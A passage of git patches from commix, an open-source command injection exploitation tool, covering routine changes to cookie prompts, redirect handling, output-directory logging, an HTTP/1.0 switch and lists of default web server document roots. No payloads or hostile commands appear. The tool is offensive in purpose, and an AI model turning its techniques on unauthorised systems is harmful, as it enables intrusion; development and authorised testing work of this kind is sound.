DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "84" +REVISION = "85" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ad4b20ffd96ab3f4480588a0b3c2957bbe6b38bc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 27 Aug 2025 06:54:42 +0300 Subject: [PATCH 0612/1023] Trivial update --- src/utils/menu.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index 7a6de7f9dd..91b1561e44 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -299,7 +299,7 @@ def banner(): action="store_true", dest="http10", default=False, - help="Use (old) HTTP version 1.0") + help="Use (old) HTTP version 1.0.") request.add_option("--ignore-code", action="store", diff --git a/src/utils/settings.py b/src/utils/settings.py index 970d74696f..94ddc9a290 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "85" +REVISION = "86" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8149583960eea6fd3e987d7315cf4d7d40cba6cd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 28 Aug 2025 07:44:20 +0300 Subject: [PATCH 0613/1023] Improved prompts when merging or applying server-set cookies --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 67 +++++++++++++++++++----- src/core/requests/headers.py | 8 +-- src/utils/settings.py | 2 +- 4 files changed, 59 insertions(+), 19 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 18d6841783..0bfcc019eb 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Improved prompts when merging or applying server-set cookies. * Added: New switch `--http1.0` to force all outgoing requests to use HTTP/1.0. * Revised: Enhanced validation of user-specified parameters by detecting and reporting those that are not part of any recognized testable source. * Revised: Enhanced injection logic with better handling of custom injection marker (i.e. asterisk `*`) and improved tracking of tested parameters. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 3ceb652216..66c52ff40a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -392,31 +392,69 @@ def connection_exceptions(err_msg): raise SystemExit() """ -check for not declared cookie(s) +Handle server-set cookies. """ -def not_declared_cookies(response): +def handle_server_cookies(response): + + """ + Mask the middle part of long cookie values to avoid leaking sensitive data in prompts. + """ + def mask_cookie_value(cookie_str): + return re.sub( + r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", + r"\g<1>...\g<2>", + cookie_str + ) + try: set_cookie_header = [] - for response_header in response.getheaders(): - if settings.SET_COOKIE in response_header: - _ = re.search(r'([^;]+);?', response_header[1]) + declared_cookies = set(menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)) if menu.options.cookie else set() + added_cookies = set() + for header, value in response.getheaders(): + if header.lower() == settings.SET_COOKIE.lower(): + _ = re.search(r'^\s*([^=;\s]+=[^;]*)', value) if _: - if _.group(1).split("=")[0] not in menu.options.cookie: - set_cookie_header.append(_.group(1)) + name_value = _.group(1) + cookie_name = name_value.split("=")[0] + if cookie_name not in declared_cookies and cookie_name not in added_cookies: + set_cookie_header.append(name_value) + added_cookies.add(cookie_name) + candidate = settings.COOKIE_PARAM_DELIMITER.join(str(value) for value in set_cookie_header) + if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True + if settings.CRAWLED_SKIPPED_URLS_NUM != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if menu.options.cookie: - menu.options.cookie = menu.options.cookie + settings.COOKIE_PARAM_DELIMITER + candidate + user_cookies_set = set([c.split('=')[0] for c in menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)]) + # intersect_cookies = user_cookies_set.intersection(added_cookies) + if user_cookies_set: + while True: + message = "You declared some cookie(s), " + message += "but the server is setting additional ones ('" + message += mask_cookie_value(candidate) + message += "'). Do you want to merge them? [Y/n] > " + merge_option = common.read_input(message, default="Y", check_batch=True) + if merge_option in settings.CHOICE_YES: + menu.options.cookie += settings.COOKIE_PARAM_DELIMITER + candidate + break + elif merge_option in settings.CHOICE_NO: + break + elif merge_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(merge_option) + pass + else: + menu.options.cookie += settings.COOKIE_PARAM_DELIMITER + candidate settings.DECLARED_COOKIES = False else: - if settings.CRAWLED_SKIPPED_URLS_NUM != 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) while True: - message = "You have not declared cookie(s), while " - message += "server wants to set its own ('" - message += str(re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)) - message += "'). Do you want to use those [Y/n] > " + message = "You have not declared any cookie(s), " + message += "but the server wants to set its own ('" + message += mask_cookie_value(candidate) + message += "'). Do you want to use those? [Y/n] > " set_cookies = common.read_input(message, default="Y", check_batch=True) if set_cookies in settings.CHOICE_YES: menu.options.cookie = candidate @@ -432,6 +470,7 @@ def not_declared_cookies(response): except (AttributeError, KeyError, TypeError): pass + """ Tab Autocompleter """ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index f7556ec414..9f427a4032 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -239,9 +239,9 @@ def https_open(self, req): page = checks.page_encoding(response, action="encode") response_headers[settings.URI_HTTP_HEADER] = response.geturl() response_headers = str(response_headers).strip("\n") - # Checks for not declared cookie(s), while server wants to set its own. + # Handle server-set cookies. if not menu.options.drop_set_cookie: - checks.not_declared_cookies(response) + checks.handle_server_cookies(response) print_http_response(response_headers, code, page) # Checks regarding a potential CAPTCHA protection mechanism. checks.captcha_check(page) @@ -253,7 +253,7 @@ def https_open(self, req): # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: if not menu.options.drop_set_cookie: - checks.not_declared_cookies(err) + checks.handle_server_cookies(err) try: if getattr(err, 'fp', None) is None: raise AttributeError @@ -293,7 +293,7 @@ def https_open(self, req): except _urllib.error.URLError as err: if not menu.options.drop_set_cookie: - checks.not_declared_cookies(err) + checks.handle_server_cookies(err) reason = str(getattr(err, 'reason', 'Unknown error')) reason_parts = reason.split(settings.SINGLE_WHITESPACE) if len(reason_parts) > 2: diff --git a/src/utils/settings.py b/src/utils/settings.py index 94ddc9a290..5aef9e3059 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "86" +REVISION = "87" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0af560100076c28ade9413bc7918533ce1d90205 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 29 Aug 2025 06:52:30 +0300 Subject: [PATCH 0614/1023] Minor update --- src/core/injections/controller/checks.py | 1 - src/utils/menu.py | 12 ++++++------ src/utils/settings.py | 2 +- 3 files changed, 7 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 66c52ff40a..43af0d5dc7 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -470,7 +470,6 @@ def mask_cookie_value(cookie_str): except (AttributeError, KeyError, TypeError): pass - """ Tab Autocompleter """ diff --git a/src/utils/menu.py b/src/utils/menu.py index 91b1561e44..73aca9588f 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -235,6 +235,12 @@ def banner(): dest="cdel", help="Set character for splitting cookie values.") +request.add_option("--http1.0", + action="store_true", + dest="http10", + default=False, + help="Force (legacy) HTTP/1.0 for requests.") + request.add_option("-H","--header", action="store", dest="header", @@ -295,12 +301,6 @@ def banner(): default=False, help="Abort on (problematic) HTTP error code(s) (e.g. 401).") -request.add_option("--http1.0", - action="store_true", - dest="http10", - default=False, - help="Use (old) HTTP version 1.0.") - request.add_option("--ignore-code", action="store", dest="ignore_code", diff --git a/src/utils/settings.py b/src/utils/settings.py index 5aef9e3059..9d5f3c9b2a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "87" +REVISION = "88" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 68cafae04e99aa1804eaeb6170c579aea97e7e24 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 1 Sep 2025 08:00:51 +0300 Subject: [PATCH 0615/1023] Improved handling of URL redirections and associated HTTP responses. --- doc/CHANGELOG.md | 1 + src/core/main.py | 90 ++++++++++++++++++++------------ src/core/requests/redirection.py | 41 +++++++-------- src/utils/settings.py | 2 +- 4 files changed, 80 insertions(+), 54 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 0bfcc019eb..28cbc28532 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Improved handling of URL redirections and associated HTTP responses. * Revised: Improved prompts when merging or applying server-set cookies. * Added: New switch `--http1.0` to force all outgoing requests to use HTTP/1.0. * Revised: Enhanced validation of user-specified parameters by detecting and reporting those that are not part of any recognized testable source. diff --git a/src/core/main.py b/src/core/main.py index 324702272d..cf5ca42815 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -192,61 +192,87 @@ def check_internet(url): The init (URL) request. """ def init_request(url, http_request_method): - # Number of seconds to wait before timeout connection + + def perform_init_request(url, http_request_method): + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) + else: + request = _urllib.request.Request(url, method=http_request_method) + headers.do_check(request) + return request + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP timeout." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if menu.options.timeout: settings.TIMEOUT = menu.options.timeout + + if menu.options.proxy: + proxy.do_check() + + if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : + debug_msg = "Setting the HTTP authentication type and credentials." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + _ = None + response = None + redirect_url = None + + try: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + opener = _urllib.request.build_opener(redirection.RedirectHandler()) + request = perform_init_request(url, http_request_method) + response = opener.open(request, timeout=settings.TIMEOUT) + if response.geturl() != url: + redirect_url = response.geturl() + + except _urllib.error.HTTPError as e: + _ = True + redirect_url = e.geturl() + + except Exception as err_msg: + requests.request_failed(err_msg) + + if redirect_url and redirect_url != url: + redirect_url = redirection.do_check(request, url, redirect_url, http_request_method) + if redirect_url is not None and settings.FOLLOW_REDIRECT: + if _: + url = redirect_url + request = perform_init_request(redirect_url, http_request_method) + # Define HTTP headers defined_http_headers(url) # Check the internet connection (--check-internet switch). if menu.options.check_internet: check_internet(url) - # Check if defined POST data - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) - else: - request = _urllib.request.Request(url, method=http_request_method) - headers.do_check(request) - # Used a valid pair of valid credentials - if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : - debug_msg = "Setting the HTTP authentication type and credentials." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - if menu.options.proxy: - proxy.do_check() - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.CUSTOM_INJECTION_MARKER = checks.custom_injection_marker_character(url, http_request_method) - # Check connection(s) + checks.check_connection(url) - return request + settings.CUSTOM_INJECTION_MARKER = checks.custom_injection_marker_character(url, http_request_method) + + return request, url """ Get the URL response. """ def url_response(url, http_request_method): + if settings.CHECK_INTERNET: + settings.CHECK_INTERNET = False + if settings.INIT_TEST == True: + info_msg = "Testing connection to the target URL. " + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + # Check if http / https url = checks.check_http_s(url) + request, url = init_request(url, http_request_method) + response = examine_request(request, url) settings.TARGET_URL = _urllib.parse.urlparse(url).hostname if settings.MULTI_TARGETS or settings.CRAWLING: settings.TOR_CHECK_AGAIN = False # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 - request = init_request(url, http_request_method) - if settings.CHECK_INTERNET: - settings.CHECK_INTERNET = False - if settings.INIT_TEST == True: - info_msg = "Testing connection to the target URL. " - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - response = examine_request(request, url) - # Check for URL redirection - if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: - if response.geturl() != url: - redirect_url = redirection.do_check(request, url, response.geturl(), http_request_method) - if redirect_url is not None: - url = redirect_url + if not menu.options.skip_waf: settings.COOKIE_INJECTION = None settings.WAF_DETECTION_PHASE = True diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 4b93e5f732..33ae1639b4 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -32,6 +32,26 @@ from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.colorama import Fore, Back, Style, init +class Request(_urllib.request.Request): + def get_method(self): + return settings.HTTPMETHOD.HEAD + +class RedirectHandler(_urllib.request.HTTPRedirectHandler, object): + """ + Subclass the HTTPRedirectHandler to make it use our + Request also on the redirected URL + """ + def redirect_request(self, request, fp, code, msg, headers, newurl): + if code in (301, 302, 303, 307): + settings.REDIRECT_CODE = code + return Request(newurl.replace(' ', '%20'), + data=request.data, + headers=request.headers + ) + else: + err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) + raise SystemExit() def do_check(request, url, redirect_url, http_request_method): """ @@ -39,27 +59,6 @@ def do_check(request, url, redirect_url, http_request_method): --- [1] https://gist.github.com/FiloSottile/2077115 """ - class Request(_urllib.request.Request): - def get_method(self): - return settings.HTTPMETHOD.HEAD - - class RedirectHandler(_urllib.request.HTTPRedirectHandler, object): - """ - Subclass the HTTPRedirectHandler to make it use our - Request also on the redirected URL - """ - def redirect_request(self, request, fp, code, msg, headers, newurl): - if code in (301, 302, 303, 307): - settings.REDIRECT_CODE = code - return Request(newurl.replace(' ', '%20'), - data=request.data, - headers=request.headers - ) - else: - err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") - settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() - try: opener = _urllib.request.build_opener(RedirectHandler()) _urllib.request.install_opener(opener) diff --git a/src/utils/settings.py b/src/utils/settings.py index 9d5f3c9b2a..6723600338 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "88" +REVISION = "89" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f69ca95e81e26308ff61f1057e33768cd596ea8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 2 Sep 2025 06:50:04 +0300 Subject: [PATCH 0616/1023] Trivial update --- src/core/injections/controller/checks.py | 2 ++ src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 43af0d5dc7..0881ef5a9e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -161,6 +161,8 @@ def process_non_custom(): Process the defined injectable value """ def process_injectable_value(payload, data): + if len(settings.TESTABLE_VALUE) == 0: + settings.TESTABLE_VALUE = settings.SINGLE_WHITESPACE _ = data.replace(settings.TESTABLE_VALUE, settings.RANDOM_TAG) if settings.TESTABLE_VALUE in _.replace(settings.INJECT_TAG, ""): return _.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE) diff --git a/src/utils/settings.py b/src/utils/settings.py index 6723600338..e3f65d8e30 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "89" +REVISION = "90" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 594bbe9386e4135c51b288e62127517a8b331486 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 3 Sep 2025 06:24:12 +0300 Subject: [PATCH 0617/1023] Trivial update --- src/utils/settings.py | 25 ++++++++++++++++++++++--- 1 file changed, 22 insertions(+), 3 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index e3f65d8e30..eb087ebf71 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "90" +REVISION = "91" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1301,8 +1301,27 @@ class END_LINE: TARGET_URL = "" DOC_ROOT_TARGET_MARK = "%TARGET%" -WINDOWS_DEFAULT_DOC_ROOTS = ["C:\\\\Inetpub\\wwwroot\\", "C:\\\\Inetpub\\wwwroot\\", "C:\\\\xampp\\htdocs\\", "C:\\\\wamp\\www\\"] -LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html/", "/var/www/" + DOC_ROOT_TARGET_MARK + "/", "/usr/local/apache2/htdocs/", "/usr/local/www/data/", "/usr/share/nginx/", "/var/apache2/htdocs/", "/var/www/nginx-default/", "/srv/www/htdocs/"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout + +# Windows common document roots +WINDOWS_DEFAULT_DOC_ROOTS = [ + "C:\\Inetpub\\wwwroot\\", # IIS default + "C:\\xampp\\htdocs\\", # XAMPP default + "C:\\wamp\\www\\", # WAMP default + "C:\\laragon\\www\\", # Laragon default + "D:\\Inetpub\\wwwroot\\", # IIS on D: drive (less common) +] +# Linux common document roots +LINUX_DEFAULT_DOC_ROOTS = [ + "/var/www/html/", # Debian/Ubuntu Apache default + "/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html/", # Older Debian/Ubuntu with custom doc root + "/var/www/" + DOC_ROOT_TARGET_MARK + "/", # Alternative Debian/Ubuntu + "/usr/share/nginx/html/", # Nginx default + "/usr/local/apache2/htdocs/", # Apache default (source build) + "/usr/local/www/data/", # BSD-style + "/var/apache2/htdocs/", # Older Apache distros + "/var/www/nginx-default/", # Nginx variation + "/srv/www/htdocs/" # SUSE/Fedora style +] DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False From e41f552492d02d8555c9569f2eecf832a1f77abc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 4 Sep 2025 07:33:38 +0300 Subject: [PATCH 0618/1023] Fixes https://github.com/commixproject/commix/issues/1054 --- src/utils/common.py | 8 ++++++++ src/utils/logs.py | 18 +++++++++++------- src/utils/settings.py | 2 +- 3 files changed, 20 insertions(+), 8 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index f715b4aef8..708abbe1fd 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -338,6 +338,14 @@ def unhandled_exception(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + elif any(_ in exc_msg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")): + err_msg = "Unable to write to the temporary directory. " + err_msg += "Please make sure your disk is not full and " + err_msg += "that you have sufficient permissions to " + err_msg += "create temporary files and/or directories." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: err_msg = "Unhandled exception occurred in '" + settings.VERSION[1:] + "'. It is recommended to retry your " err_msg += "run with the latest (dev) version from official GitHub " diff --git a/src/utils/logs.py b/src/utils/logs.py index 6d419b6e77..6073f153e8 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -21,6 +21,7 @@ from datetime import date from datetime import datetime from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -55,14 +56,17 @@ def logs_filename_creation(url): menu.options.output_dir = os.path.abspath(menu.options.output_dir) if os.path.isdir(menu.options.output_dir): output_dir = menu.options.output_dir - warn_msg = "Using '" + output_dir + "' for output directory." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + info_msg = "Using '" + output_dir + "' for output directory." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: - output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION) - warn_msg = "Unable to create output directory '" + menu.options.output_dir + "'. " - warn_msg += "Using temporary directory '" + output_dir + "' instead." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - else: + try: + error_msg = "Unable to use missing output directory '" + output_dir + "'." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION) + warn_msg += "Using temporary output directory '" + output_dir + "' instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + except (OSError, RuntimeError): + common.unhandled_exception() else: output_dir = settings.OUTPUT_DIR path_creation(os.path.dirname(settings.OUTPUT_DIR)) diff --git a/src/utils/settings.py b/src/utils/settings.py index eb087ebf71..9099481c86 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "91" +REVISION = "92" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6014674321c5dc16454c8c210f383a3b4b34009c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 4 Sep 2025 08:12:05 +0300 Subject: [PATCH 0619/1023] Fixes https://github.com/commixproject/commix/issues/1056 --- src/utils/logs.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/utils/logs.py b/src/utils/logs.py index 6073f153e8..6ad86c03c5 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -66,7 +66,8 @@ def logs_filename_creation(url): warn_msg += "Using temporary output directory '" + output_dir + "' instead." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except (OSError, RuntimeError): - common.unhandled_exception() else: + common.unhandled_exception() + else: output_dir = settings.OUTPUT_DIR path_creation(os.path.dirname(settings.OUTPUT_DIR)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 9099481c86..20d31351d6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "92" +REVISION = "93" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a845b0fadaf807d255e7055788f136f584708d05 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 5 Sep 2025 06:52:37 +0300 Subject: [PATCH 0620/1023] Minor update --- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index be5aaefa24..c9638000c2 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -318,7 +318,7 @@ def request_failed(err_msg): else: return False - elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): + elif re.search(r"(connection\s*refused|timed?\s*out)", str(error_msg), re.IGNORECASE): settings.MAX_RETRIES = 1 err = "Unable to connect to the target URL" if menu.options.tor: diff --git a/src/utils/settings.py b/src/utils/settings.py index 20d31351d6..24f8398bef 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "93" +REVISION = "94" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6a0e187342313b4ed4027a6c48aee48b9a63a3bb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 8 Sep 2025 07:58:52 +0300 Subject: [PATCH 0621/1023] Minor update --- doc/CHANGELOG.md | 2 +- src/utils/menu.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 28cbc28532..3a56b6d86d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,7 +1,7 @@ ## Version 4.1 (TBA) * Revised: Improved handling of URL redirections and associated HTTP responses. * Revised: Improved prompts when merging or applying server-set cookies. -* Added: New switch `--http1.0` to force all outgoing requests to use HTTP/1.0. +* Added: New switch `--http1.0` to force all outgoing requests to use `HTTP/1.0` protocol. * Revised: Enhanced validation of user-specified parameters by detecting and reporting those that are not part of any recognized testable source. * Revised: Enhanced injection logic with better handling of custom injection marker (i.e. asterisk `*`) and improved tracking of tested parameters. * Revised: Improved detection of custom injection marker (i.e. asterisk `*`) across HTTP input vectors (e.g., URL params, POST data, cookies, headers). diff --git a/src/utils/menu.py b/src/utils/menu.py index 73aca9588f..e9f3aa3bc8 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -239,7 +239,7 @@ def banner(): action="store_true", dest="http10", default=False, - help="Force (legacy) HTTP/1.0 for requests.") + help="Force requests to use the HTTP/1.0 protocol.") request.add_option("-H","--header", action="store", diff --git a/src/utils/settings.py b/src/utils/settings.py index 24f8398bef..77f6932d70 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "94" +REVISION = "95" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f4e4c325a2e10d9fb0d27c30d7719145602ac86f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 9 Sep 2025 06:53:11 +0300 Subject: [PATCH 0622/1023] Fixes https://github.com/commixproject/commix/issues/1058 --- src/utils/logs.py | 39 ++++++++++++++++++++++----------------- src/utils/settings.py | 2 +- 2 files changed, 23 insertions(+), 18 deletions(-) diff --git a/src/utils/logs.py b/src/utils/logs.py index 6ad86c03c5..c9e1b73282 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -52,31 +52,36 @@ def path_creation(path): Logs filename creation. """ def logs_filename_creation(url): - if menu.options.output_dir: - menu.options.output_dir = os.path.abspath(menu.options.output_dir) - if os.path.isdir(menu.options.output_dir): - output_dir = menu.options.output_dir - info_msg = "Using '" + output_dir + "' for output directory." + output_dir = menu.options.output_dir + + if output_dir: + output_dir = os.path.abspath(output_dir) + if os.path.isdir(output_dir): + info_msg = "Using output directory '" + output_dir + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: try: - error_msg = "Unable to use missing output directory '" + output_dir + "'." + os.makedirs(output_dir, exist_ok=True) + info_msg = "Created missing output directory '" + output_dir + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + except OSError: + error_msg = "Unable to create missing output directory '" + output_dir + "'." settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION) - warn_msg += "Using temporary output directory '" + output_dir + "' instead." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - except (OSError, RuntimeError): - common.unhandled_exception() + try: + output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION) + warn_msg = "Using temporary output directory '" + output_dir + "' instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + except (OSError, RuntimeError): + common.unhandled_exception() else: output_dir = settings.OUTPUT_DIR - path_creation(os.path.dirname(settings.OUTPUT_DIR)) + path_creation(os.path.dirname(output_dir)) - if not output_dir.endswith("/"): - output_dir = output_dir + "/" + # Ensure path ends with OS-specific separator + output_dir = os.path.join(output_dir, '') - # The logs filename construction. - filename = create_log_file(url, output_dir) - return filename + # Create the logs filename + return create_log_file(url, output_dir) """ Create log files diff --git a/src/utils/settings.py b/src/utils/settings.py index 77f6932d70..87918aba0a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "95" +REVISION = "96" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c2db88997e1624291c950d39321b84fd2f861c30 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 10 Sep 2025 06:37:09 +0300 Subject: [PATCH 0623/1023] Refactored User-Agent strings to be loaded from external files rather than being hardcoded --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 22 ++- src/core/main.py | 4 +- 